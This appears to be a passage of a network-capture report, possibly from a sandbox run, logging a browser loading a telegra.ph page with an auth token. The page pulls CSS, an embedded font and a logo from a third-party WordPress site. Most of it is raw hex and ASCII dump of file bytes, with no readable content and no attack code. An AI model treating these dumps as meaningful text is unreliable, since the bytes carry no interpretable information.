7c 73 5a e6 b9 8e 6a 39 ae 4c 9c 8a 99 a2 a7 22 a0 56 26 62 75 86 89 89 74 4d 83 ef 2f 7c d1 d1 c9 6b a8 Data Ascii: NQLE\|ZctniXKbmR[#ivr\+\lg;8K+MTxS};igV\D~HHvs1-ng]8cqX,bE{)<#HtWaoVEr#ec{/\|o/+{S^9Nto! \|sZj9L"V&butM/\|k
2025-03-13 14:45:42 UTC	1378	IN	Data Raw: 69 fd 67 ae 67 d9 c2 3b 76 e3 69 19 00 00 00 00 00 00 00 00 00 00 00 0f 7b 7f 1b 67 3f 50 e8 56 9e 29 72 c6 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c7 b8 71 47 f3 75 95 85 27 82 24 b9 8c 00 00 02 6c 5c d3 60 05 db bd 73 f4 83 80 00 00 00 00 00 00 00 00 00 00 00 00 01 ef 6f e3 6c e7 ea 1d 0a d3 c5 2e 58 c8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 f7 0e 28 fe 6e b2 b0 a4 f0 44 97 31 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 de df c6 d9 cf d4 3a 15 a7 8a 5c b1 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 35 cd 24 e2 04 c2 f8 32 ba f8 b4 9f 2c 4a 6e d7 fd 8f 6c d4 d6 d6 7a 37 7e 4b 96 fc f7 18 af de f0 34 4d 7a 6b a3 ad 91 e5 7c eb 8e a3 09 b5 b3 b5 ae fd 35 e1 13 3c 37 75 38 d7 0f 91 79 26 ef 68 7c 07 Data Ascii: igg;vi{g?PV)r@qGu'$l\`sol.X(nD1:\5$2,Jnlz7~K4Mzk\|5<7u8y&h\|
2025-03-13 14:45:42 UTC	1378	IN	Data Raw: 74 f0 d4 42 ea 69 d5 63 95 88 f6 aa a3 36 6c 5d 86 7c 05 31 55 e8 89 71 39 71 7a e5 9c 9e ba ed d5 31 3a d3 be 27 4e 95 a0 93 0f e1 b8 a3 59 24 b2 da 58 c6 ef 73 a9 63 44 4f b8 ee f8 2b 71 d1 0f 10 a7 32 c7 55 3a 45 da e6 7e b4 ff 00 b7 87 73 30 7f fd ba c5 fe 8c 3f d0 b7 62 d7 54 7b 19 7d f7 99 fc fa fd 75 1d cb c1 ff 00 f6 eb 17 fa 30 ff 00 41 b1 6b aa 3d 87 be f3 3f 9f 5f ae a5 3e c7 4d 85 98 de fa ca 76 b1 b0 b6 e3 3a 46 8c 44 46 a3 7b 63 b2 cb 2d 99 11 db da 78 4a b4 eb 97 d0 d9 34 d5 39 7d 89 af 8e c5 3a eb c7 84 21 8c 4e 90 00 0d e7 40 7e 16 ec 5f a4 97 f0 5e 6d 60 7c bd 28 bf 2c fe 44 bf dd 1f 9a 16 fd 37 12 37 cf 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 a0 76 43 78 22 bd 7e c3 f1 98 69 e3 fc 85 49 67 21 fe 5c b3 fe 5f 96 55 18 8f Data Ascii: tBic6l]\|1Uq9qz1:'NY$XscDO+q2U:E~s0?bT{}u0Ak=?_>Mv:FDF{c-xJ49}:!N@~_^m`\|(,D77@vCx"~iIg!\_U
2025-03-13 14:45:42 UTC	1378	IN	Data Raw: 6f 40 2e 3e 85 bc 15 61 df d4 59 fc c9 26 0f c8 53 dc f9 cf 95 7f 2c e2 7e b4 b4 ed 24 69 9e a3 09 63 1a db 04 78 7e 2a b6 d3 36 35 49 9d 56 ac 57 6b 31 1d bb 55 72 df ca 6b 62 31 f3 6a e4 d1 b3 aa 45 90 72 1a 8c d7 01 46 2e 6f 4d 3b 5a ee d9 d7 84 cc 71 d6 1a b5 5f 64 45 d9 d1 aa 52 61 aa 18 9f e2 74 b5 4f 7a 74 22 27 59 82 73 4a ba 29 77 6d 7b 99 e1 a2 7f a9 88 aa 63 b2 98 8f d6 5c df 1b e3 ac 4b 8c 25 6a de ab f5 a0 63 b5 a3 a6 85 ba 90 b1 79 75 7c 6b e7 55 55 34 af 62 2e 5e f8 d2 99 e5 1c 9e c0 65 14 cf bd a8 f8 53 c6 a9 df 33 e9 e8 8e c8 d1 15 85 ff 00 c4 d6 af d7 a0 fc 56 98 ed fc 78 ef 86 f6 61 ff 00 89 77 ea d5 f8 4a f3 2f cd 52 54 f9 7d 43 2a 38 c4 bf 6d dd 6a 44 df 55 51 f1 63 ba 1b f7 63 d5 96 6b b6 93 ed f3 b5 8a b0 5b 91 d5 53 3b 2d 8d c9 15 Data Ascii: o@.>aY&S,~$icx~65IVWk1Urkb1jErF.oM;Zq_dERatOzt"'YsJ)wm{c\K%jcyu\|kUU4b.^eS3VxawJ/RT}C8mjDUQcck[S;-

Timestamp	Bytes transferred	Direction	Data
2025-03-13 14:45:42 UTC	617	OUT	GET /css/quill.core.min.css HTTP/1.1 Host: telegra.ph Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://telegra.ph/Charlotte-Reeves-03-13?authToken=661de363-1fc1-4007-b38f-852148abf4fc Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 14:45:42 UTC	307	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 13 Mar 2025 14:45:42 GMT Content-Type: text/css Content-Length: 7190 Last-Modified: Mon, 14 Nov 2016 18:41:34 GMT Connection: close ETag: "582a055e-1c16" Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Accept-Ranges: bytes
2025-03-13 14:45:42 UTC	7190	IN	Data Raw: 2f 2a 21 0a 20 2a 20 51 75 69 6c 6c 20 45 64 69 74 6f 72 20 76 31 2e 30 2e 30 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 71 75 69 6c 6c 6a 73 2e 63 6f 6d 2f 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 34 2c 20 4a 61 73 6f 6e 20 43 68 65 6e 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 33 2c 20 73 61 6c 65 73 66 6f 72 63 65 2e 63 6f 6d 0a 20 2a 2f 0a 2e 71 6c 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 6d 61 72 67 69 6e 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 Data Ascii: /! Quill Editor v1.0.0 * https://quilljs.com/ * Copyright (c) 2014, Jason Chen * Copyright (c) 2013, salesforce.com */.ql-container{box-sizing:border-box;font-family:Helvetica,Arial,sans-serif;font-size:13px;height:100%;margin:0;position:relative

Timestamp	Bytes transferred	Direction	Data
2025-03-13 14:45:42 UTC	614	OUT	GET /css/core.min.css?47 HTTP/1.1 Host: telegra.ph Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://telegra.ph/Charlotte-Reeves-03-13?authToken=661de363-1fc1-4007-b38f-852148abf4fc Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 14:45:43 UTC	310	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 13 Mar 2025 14:45:42 GMT Content-Type: text/css Content-Length: 236100 Last-Modified: Thu, 20 Apr 2023 12:19:27 GMT Connection: close ETag: "64412dcf-39a44" Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Accept-Ranges: bytes
2025-03-13 14:45:43 UTC	16074	IN	Data Raw: 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 43 75 73 74 6f 6d 53 61 6e 73 53 65 72 69 66 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 33 30 30 3b 73 72 63 3a 75 72 6c 28 64 61 74 61 3a 66 6f 6e 74 2f 6f 70 65 6e 74 79 70 65 3b 62 61 73 65 36 34 2c 64 30 39 47 52 6b 39 55 56 45 38 41 41 47 37 59 41 41 73 41 41 41 41 41 76 74 77 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 42 44 52 6b 59 67 41 41 41 4b 59 41 41 41 50 75 77 41 41 45 77 6b 42 78 43 78 7a 55 64 51 54 31 4d 41 41 45 6c 4d 41 41 41 6a 30 41 41 41 58 61 44 55 4c 73 45 6e 52 31 4e 56 51 67 41 41 62 52 77 41 41 41 47 36 41 41 41 44 63 44 4c 47 4c 52 39 50 55 79 38 79 41 41 41 46 Data Ascii: @font-face{font-family:CustomSansSerif;font-style:normal;font-weight:300;src:url(data:font/opentype;base64,d09GRk9UVE8AAG7YAAsAAAAAvtwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABDRkYgAAAKYAAAPuwAAEwkBxCxzUdQT1MAAElMAAAj0AAAXaDULsEnR1NVQgAAbRwAAAG6AAADcDLGLR9PUy8yAAAF
2025-03-13 14:45:43 UTC	16384	IN	Data Raw: 6c 6a 2f 6d 38 72 36 77 66 77 70 39 70 75 6e 72 38 6f 4c 53 6e 67 4e 6c 53 74 2f 58 30 32 51 6d 38 50 61 48 46 56 6c 43 39 67 48 38 68 72 36 44 6a 64 61 48 32 35 33 6c 6b 45 64 77 62 6b 6f 59 5a 65 51 47 2f 6d 5a 43 45 76 33 6b 64 75 47 6c 51 4c 68 53 54 33 2f 51 6e 42 64 71 64 4f 75 79 67 42 62 39 64 38 31 54 48 6c 32 70 44 50 76 6e 62 53 49 63 5a 32 50 42 50 74 47 35 6d 42 49 7a 42 79 6f 62 67 4a 41 78 4f 34 4b 76 69 65 4c 67 30 45 43 39 6d 38 78 70 36 71 42 48 4e 42 35 4f 64 6b 44 55 67 69 4d 34 77 46 6b 64 6b 6b 7a 52 65 54 6d 7a 72 58 76 76 46 4d 68 4d 4f 33 39 4a 38 48 4d 31 6e 67 4a 70 2b 63 52 39 4f 70 65 59 4f 4b 4f 67 6e 76 36 31 56 6a 53 55 5a 55 4c 2b 4d 34 41 70 76 48 56 68 6f 78 52 2f 51 74 4f 6d 77 4f 6e 2b 43 4e 6d 59 36 62 4b 38 46 66 31 Data Ascii: lj/m8r6wfwp9punr8oLSngNlSt/X02Qm8PaHFVlC9gH8hr6DjdaH253lkEdwbkoYZeQG/mZCEv3kduGlQLhST3/QnBdqdOuygBb9d81THl2pDPvnbSIcZ2PBPtG5mBIzByobgJAxO4KvieLg0EC9m8xp6qBHNB5OdkDUgiM4wFkdkkzReTmzrXvvFMhMO39J8HM1ngJp+cR9OpeYOKOgnv61VjSUZUL+M4ApvHVhoxR/QtOmwOn+CNmY6bK8Ff1
2025-03-13 14:45:43 UTC	16384	IN	Data Raw: 69 75 44 62 48 39 75 72 6b 2b 42 64 56 58 32 6d 62 56 6d 4a 66 6f 70 33 66 37 65 39 5a 2b 78 6b 59 79 2b 33 46 51 54 30 4d 4e 4c 6e 69 47 49 76 6c 6b 76 72 46 73 30 74 48 32 7a 4d 45 7a 45 75 78 4e 30 4f 42 71 33 6c 47 61 6f 50 72 5a 79 2f 75 47 73 49 5a 36 52 33 69 4e 61 37 4d 57 73 5a 69 48 77 32 2f 6e 5a 57 5a 38 54 37 49 64 32 4a 50 78 54 4d 6a 4c 78 37 37 37 31 2b 6a 70 39 43 51 57 43 53 6c 34 6b 68 71 4f 66 52 57 37 79 48 74 35 78 6d 70 71 6d 51 63 34 76 69 7a 72 6b 33 4b 62 30 68 61 71 33 57 74 30 6d 4a 64 65 2b 4a 7a 65 6b 42 76 73 61 70 77 68 74 34 2f 72 75 51 79 31 6f 6b 33 4f 56 38 46 74 66 4c 77 74 44 71 45 35 62 6b 37 56 62 48 38 62 36 4a 58 52 4d 54 61 65 4f 63 42 65 67 69 31 63 5a 61 37 69 68 6a 54 34 38 7a 39 62 30 45 4d 68 53 34 35 50 77 Data Ascii: iuDbH9urk+BdVX2mbVmJfop3f7e9Z+xkYy+3FQT0MNLniGIvlkvrFs0tH2zMEzEuxN0OBq3lGaoPrZy/uGsIZ6R3iNa7MWsZiHw2/nZWZ8T7Id2JPxTMjLx7771+jp9CQWCSl4khqOfRW7yHt5xmpqmQc4vizrk3Kb0haq3Wt0mJde+JzekBvsapwht4/ruQy1ok3OV8FtfLwtDqE5bk7VbH8b6JXRMTaeOcBegi1cZa7ihjT48z9b0EMhS45Pw
2025-03-13 14:45:43 UTC	16384	IN	Data Raw: 57 74 4f 67 45 47 2f 70 53 6d 44 72 75 75 62 6a 43 6d 75 72 75 34 75 37 79 43 74 2b 51 64 58 4d 72 48 42 4f 62 76 53 52 66 67 45 39 49 43 44 55 57 43 6b 68 4d 46 32 54 39 44 55 79 4d 6e 50 63 34 50 36 78 6e 53 71 72 65 31 59 38 78 58 56 32 53 4d 52 43 31 47 46 30 30 6d 7a 6f 31 46 50 35 48 61 41 4b 52 6e 51 51 68 6a 32 43 46 53 2f 7a 62 77 30 65 37 2b 34 6d 2f 6d 36 73 75 2f 4d 44 38 6f 58 43 36 2f 6a 66 79 59 75 43 59 34 4d 55 6c 2b 63 52 6c 55 33 64 6c 57 64 56 6c 31 73 69 66 46 79 57 65 49 33 50 6b 65 30 59 6d 44 59 72 74 76 52 38 35 51 4c 6c 77 64 5a 65 49 62 76 79 38 39 55 4a 78 68 52 4f 77 35 30 62 37 6d 71 34 74 37 41 64 36 44 6d 55 51 31 6a 51 66 33 6d 4c 77 74 70 4e 6f 35 6b 73 45 2f 6a 52 4e 6b 77 59 50 41 37 44 2f 4f 68 67 4e 71 4e 75 38 66 54 Data Ascii: WtOgEG/pSmDruubjCmuru4u7yCt+QdXMrHBObvSRfgE9ICDUWCkhMF2T9DUyMnPc4P6xnSqre1Y8xXV2SMRC1GF00mzo1FP5HaAKRnQQhj2CFS/zbw0e7+4m/m6su/MD8oXC6/jfyYuCY4MUl+cRlU3dlWdVl1sifFyWeI3Pke0YmDYrtvR85QLlwdZeIbvy89UJxhROw50b7mq4t7Ad6DmUQ1jQf3mLwtpNo5ksE/jRNkwYPA7D/OhgNqNu8fT
2025-03-13 14:45:43 UTC	16384	IN	Data Raw: 6e 54 4a 50 6e 63 35 35 4d 6c 2f 32 75 50 2b 6c 72 77 62 39 64 64 33 41 4c 66 33 74 4b 72 55 6e 6e 5a 4c 42 64 6e 50 48 49 38 30 6b 31 47 4f 52 35 76 4a 47 4d 61 36 39 33 50 4f 4a 37 76 33 46 4b 59 79 6a 65 6e 4d 6f 4a 69 5a 72 6e 2b 4e 31 33 6d 44 4e 33 6d 4c 64 2f 6a 51 6d 4a 38 77 69 39 6e 4d 59 53 37 7a 6d 4d 2b 2f 75 34 2f 39 38 2f 65 73 63 4b 39 4b 75 76 55 66 37 32 4e 73 5a 67 74 62 32 57 62 4f 4f 39 68 70 58 72 75 63 37 35 5a 37 35 46 36 35 54 2b 34 33 56 72 4b 50 79 57 51 66 6b 38 6b 2b 4a 76 2f 4c 66 55 79 66 45 6b 6f 35 7a 58 2f 30 66 6c 63 64 56 36 69 67 57 31 45 74 37 75 49 2b 6b 6e 31 4b 4a 76 75 55 54 50 59 70 6d 65 78 54 38 69 45 65 6f 5a 48 56 30 59 52 6d 4e 43 63 39 72 6f 70 61 30 70 70 32 2b 6d 62 77 47 42 33 6f 52 42 65 36 65 59 2f 71 Data Ascii: nTJPnc55Ml/2uP+lrwb9dd3ALf3tKrUnnZLBdnPHI80k1GOR5vJGMa693POJ7v3FKYyjenMoJiZrn+N13mDN3mLd/jQmJ8wi9nMYS7zmM+/u4/98/escK9KuvUf72NsZgtb2WbOO9hpXruc75Z75F65T+43VrKPyWQfk8k+Jv/LfUyfEko5zX/0flcdV6igW1Et7uI+kn1KJvuUTPYpmexT8iEeoZHV0YRmNCc9ropa0pp2+mbwGB3oRBe6eY/q
2025-03-13 14:45:43 UTC	16384	IN	Data Raw: 34 33 43 53 72 78 48 47 45 2b 6f 38 63 52 37 43 6f 73 64 66 53 47 53 76 68 6d 30 69 4d 34 2b 59 51 4f 71 45 62 76 6b 31 55 71 56 6c 5a 71 57 6e 4e 57 52 61 4c 79 57 53 78 5a 44 57 6e 4b 56 68 38 69 39 44 73 54 6c 49 4c 42 73 66 51 55 69 33 4a 51 33 54 71 4c 30 2b 6f 36 67 50 4e 43 66 5a 4b 6e 7a 4b 52 34 41 58 74 47 62 58 36 4f 6a 37 4f 6e 47 65 32 71 65 2b 64 50 2f 6e 43 61 74 36 57 64 31 44 65 6c 37 50 50 48 5a 79 6c 62 33 50 37 66 64 5a 55 68 55 72 73 6a 58 63 38 47 5a 35 6a 69 36 43 71 56 63 71 58 4d 5a 57 6c 35 68 7a 65 75 72 34 75 55 36 4f 65 46 78 4c 68 46 70 6c 55 61 55 79 51 43 2b 6f 4c 4b 51 54 34 43 49 4c 76 45 49 72 65 75 2f 43 56 4a 38 48 69 4c 4d 4a 77 65 31 66 53 56 35 4c 5a 73 4c 75 79 56 7a 6d 38 46 59 37 58 6d 58 35 66 72 34 51 54 44 2f Data Ascii: 43CSrxHGE+o8cR7CosdfSGSvhm0iM4+YQOqEbvk1UqVlZqWnNWRaLyWSxZDWnKVh8i9DsTlILBsfQUi3JQ3TqL0+o6gPNCfZKnzKR4AXtGbX6Oj7OnGe2qe+dP/nCat6Wd1Del7PPHZylb3P7fdZUhUrsjXc8GZ5ji6CqVcqXMZWl5hzeur4uU6OeFxLhFplUaUyQC+oLKQT4CILvEIreu/CVJ8HiLMJwe1fSV5LZsLuyVzm8FY7XmX5fr4QTD/
2025-03-13 14:45:43 UTC	16384	IN	Data Raw: 38 62 44 4e 6c 38 7a 46 4d 34 70 36 76 6f 33 6c 55 4f 68 45 6b 6d 70 4d 35 6c 4f 4e 4d 43 65 61 37 73 36 31 44 39 44 49 65 76 76 46 6e 54 50 69 6e 30 72 4d 35 48 6f 36 34 38 56 71 59 52 36 6f 6c 59 6f 79 56 45 6e 55 46 4b 2f 45 79 6d 61 4f 48 35 51 6f 4a 62 69 56 4c 2f 73 30 30 68 4f 73 47 50 41 37 69 6e 6d 6d 73 38 6d 59 78 67 35 6a 31 34 51 78 70 34 44 52 4e 62 38 4f 39 57 52 30 43 63 4a 61 34 69 46 77 66 71 4d 37 63 54 6a 41 55 65 50 4c 6f 4f 61 58 59 7a 70 6f 63 4a 6f 6f 74 65 41 66 51 4c 6a 6c 70 6d 52 52 61 4e 6a 4b 77 42 69 78 7a 79 7a 31 4b 71 43 48 59 46 73 42 59 5a 4b 49 4f 72 6f 5a 74 65 47 43 53 43 4d 32 6f 30 38 48 67 49 6e 43 67 50 4e 47 55 72 73 6f 38 4b 35 6d 38 68 35 6a 78 6b 71 70 79 53 76 79 59 53 53 74 33 4c 61 46 6b 63 63 31 7a 78 43 Data Ascii: 8bDNl8zFM4p6vo3lUOhEkmpM5lONMCea7s61D9DIevvFnTPin0rM5Ho648VqYR6olYoyVEnUFK/EymaOH5QoJbiVL/s00hOsGPA7inmms8mYxg5j14Qxp4DRNb8O9WR0CcJa4iFwfqM7cTjAUePLoOaXYzpocJooteAfQLjlpmRRaNjKwBixzyz1KqCHYFsBYZKIOroZteGCSCM2o08HgInCgPNGUrso8K5m8h5jxkqpySvyYSSt3LaFkcc1zxC
2025-03-13 14:45:43 UTC	16384	IN	Data Raw: 49 53 45 49 68 32 57 75 4a 78 2b 4b 57 43 58 35 44 6f 32 42 30 4b 5a 41 59 45 38 72 64 63 52 6c 74 58 72 46 63 4d 72 6f 2b 48 55 68 53 31 59 4e 4e 62 76 54 4c 5a 48 43 7a 6b 69 7a 54 53 4a 39 45 52 6e 6c 78 35 7a 34 43 45 58 67 50 62 70 49 61 64 6d 52 6b 79 57 53 74 61 55 4c 4a 32 73 33 4a 46 4e 6c 6b 74 57 31 75 6a 2f 36 75 50 33 4c 35 77 50 64 59 53 69 72 6a 66 42 35 67 64 38 67 63 79 44 2b 32 7a 44 43 32 52 56 77 47 48 4d 33 42 70 31 4c 71 49 70 74 71 76 36 77 63 61 4b 65 68 4c 53 47 6c 32 62 77 57 68 34 71 6a 64 43 42 67 38 74 6e 31 4c 45 53 43 76 52 79 6a 44 31 43 76 5a 74 5a 37 79 51 38 32 44 57 46 46 72 48 53 75 45 33 78 4c 4d 68 7a 79 5a 6c 62 4a 68 33 6f 34 63 4e 55 31 39 53 32 6d 56 6d 75 36 53 56 63 50 5a 6c 71 72 74 36 45 50 59 71 4a 31 31 54 Data Ascii: ISEIh2WuJx+KWCX5Do2B0KZAYE8rdcRltXrFcMro+HUhS1YNNbvTLZHCzkizTSJ9ERnlx5z4CEXgPbpIadmRkyWStaULJ2s3JFNlktW1uj/6uP3L5wPdYSirjfB5gd8gcyD+2zDC2RVwGHM3Bp1LqIptqv6wcaKehLSGl2bwWh4qjdCBg8tn1LESCvRyjD1CvZtZ7yQ82DWFFrHSuE3xLMhzyZlbJh3o4cNU19S2mVmu6SVcPZlqrt6EPYqJ11T
2025-03-13 14:45:43 UTC	16384	IN	Data Raw: 6e 35 65 77 54 53 4e 67 77 2b 68 56 74 36 47 36 68 4d 35 57 6e 70 45 75 4e 47 32 73 75 36 4c 41 73 45 76 61 4a 4c 52 77 71 4b 48 5a 32 35 4a 42 37 31 62 62 62 33 64 59 34 4b 39 32 65 4e 4f 48 67 66 32 53 72 63 50 57 7a 2b 59 48 4b 6b 65 6d 57 41 33 6f 69 79 71 72 69 49 79 4e 43 51 79 52 43 62 6e 41 69 4a 6c 53 66 61 70 34 71 64 31 76 61 4d 6a 74 41 53 66 51 61 76 2b 38 77 6b 56 48 42 34 52 48 46 6f 6c 72 32 2b 6f 71 61 71 70 43 36 73 4f 35 76 4c 78 47 69 71 45 77 43 41 59 68 49 71 75 78 39 6c 6a 42 35 41 65 6c 78 59 64 4a 2f 57 75 6c 48 65 32 64 52 56 55 44 72 4e 4e 6f 6b 53 66 61 41 47 36 44 49 6b 72 72 4d 6a 4a 7a 4d 39 55 72 65 52 6c 64 45 53 31 6b 74 4d 54 45 69 4b 36 6b 32 53 41 76 77 66 78 56 6d 6e 68 6b 56 4b 66 6d 6f 6a 75 35 76 62 38 79 68 47 68 Data Ascii: n5ewTSNgw+hVt6G6hM5WnpEuNG2su6LAsEvaJLRwqKHZ25JB71bbb3dY4K92eNOHgf2SrcPWz+YHKkemWA3oiyqriIyNCQyRCbnAiJlSfap4qd1vaMjtASfQav+8wkVHB4RHFolr2+oqaqpC6sO5vLxGiqEwCAYhIqux9ljB5AelxYdJ/WulHe2dRVUDrNNokSfaAG6DIkrrMjJzM9UreRldES1ktMTEiK6k2SAvwfxVmnhkVKfmoju5vb8yhGh
2025-03-13 14:45:43 UTC	16384	IN	Data Raw: 67 46 42 79 77 4d 79 41 42 7a 78 42 6e 42 51 59 67 2f 4d 33 43 39 50 6a 66 62 34 59 54 7a 43 73 59 4f 52 51 59 47 43 61 44 35 42 69 66 4d 38 30 48 55 67 6f 4d 7a 41 44 78 54 51 79 56 65 41 46 4d 7a 4c 56 68 67 6d 45 41 68 73 48 6e 6b 37 69 37 70 34 6c 41 52 59 2f 55 2f 77 54 6f 49 4d 67 49 32 42 34 30 79 42 54 59 42 69 79 41 37 59 42 46 33 6b 68 33 31 51 48 58 35 68 67 44 41 41 51 67 47 30 34 49 5a 49 73 6e 4a 54 75 65 79 4d 6d 65 53 77 72 79 46 67 6d 71 38 6a 62 6e 39 4f 51 39 6a 68 6e 4a 2b 2f 2f 2b 41 32 36 59 79 49 64 66 64 68 69 2f 42 39 52 5a 79 6f 5a 6e 55 35 45 74 75 36 59 68 4f 32 4b 6d 49 33 76 43 5a 69 35 76 55 62 4a 6e 38 6a 61 76 74 69 4c 76 38 57 68 62 38 76 36 2f 2f 34 43 49 48 63 71 48 6e 39 35 55 52 68 32 37 6a 73 4e 41 62 44 35 6c 66 69 Data Ascii: gFBywMyABzxBnBQYg/M3C9Pjfb4YTzCsYORQYGCaD5BifM80HUgoMzADxTQyVeAFMzLVhgmEAhsHnk7i7p4lARY/U/wToIMgI2B40yBTYBiyA7YBF3kh31QHX5hgDAAQgG04IZIsnJTueyMmeSwryFgmq8jbn9OQ9jhnJ+//+A26YyIdfdhi/B9RZyoZnU5Etu6YhO2KmI3vCZi5vUbJn8javtiLv8Whb8v6//4CIHcqHn95URh27jsNAbD5lfi

Timestamp	Bytes transferred	Direction	Data
2025-03-13 14:45:42 UTC	662	OUT	GET /wp-content/uploads/2016/08/tripaklogo-copy1.png HTTP/1.1 Host: tripakservices.co.uk Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://telegra.ph/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 14:45:43 UTC	593	IN	HTTP/1.1 200 OK Connection: close cache-control: max-age=604800, public expires: Thu, 20 Mar 2025 14:45:42 GMT content-type: image/png last-modified: Thu, 12 Jan 2023 09:33:44 GMT accept-ranges: bytes content-length: 29310 date: Thu, 13 Mar 2025 14:45:42 GMT server: LiteSpeed strict-transport-security: max-age=63072000; includeSubDomains x-frame-options: SAMEORIGIN x-content-type-options: nosniff alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2025-03-13 14:45:43 UTC	775	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2f 00 00 00 54 08 06 00 00 00 d3 4c b1 6e 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 3a b6 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 32 20 37 39 2e 31 35 39 32 38 34 2c 20 32 30 31 36 2f 30 34 2f 31 39 2d 31 33 3a 31 33 3a 34 30 20 20 20 20 20 20 20 20 22 3e 0a 20 20 20 3c 72 64 66 Data Ascii: PNGIHDR/TLnpHYs:iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?><x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c132 79.159284, 2016/04/19-13:13:40 "> <rdf
2025-03-13 14:45:43 UTC	14994	IN	Data Raw: 20 20 20 20 20 3c 78 6d 70 3a 43 72 65 61 74 6f 72 54 6f 6f 6c 3e 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 20 28 4d 61 63 69 6e 74 6f 73 68 29 3c 2f 78 6d 70 3a 43 72 65 61 74 6f 72 54 6f 6f 6c 3e 0a 20 20 20 20 20 20 20 20 20 3c 78 6d 70 3a 43 72 65 61 74 65 44 61 74 65 3e 32 30 31 36 2d 30 38 2d 31 35 54 31 30 3a 33 38 3a 31 32 2b 30 31 3a 30 30 3c 2f 78 6d 70 3a 43 72 65 61 74 65 44 61 74 65 3e 0a 20 20 20 20 20 20 20 20 20 3c 78 6d 70 3a 4d 6f 64 69 66 79 44 61 74 65 3e 32 30 31 36 2d 30 38 2d 31 35 54 31 30 3a 34 39 3a 35 31 2b 30 31 3a 30 30 3c 2f 78 6d 70 3a 4d 6f 64 69 66 79 44 61 74 65 3e 0a 20 20 20 20 20 20 20 20 20 3c 78 6d 70 3a 4d 65 74 61 64 61 74 61 44 61 74 65 3e 32 30 31 36 2d 30 38 2d 31 35 54 31 30 3a Data Ascii: <xmp:CreatorTool>Adobe Photoshop CC 2015.5 (Macintosh)</xmp:CreatorTool> 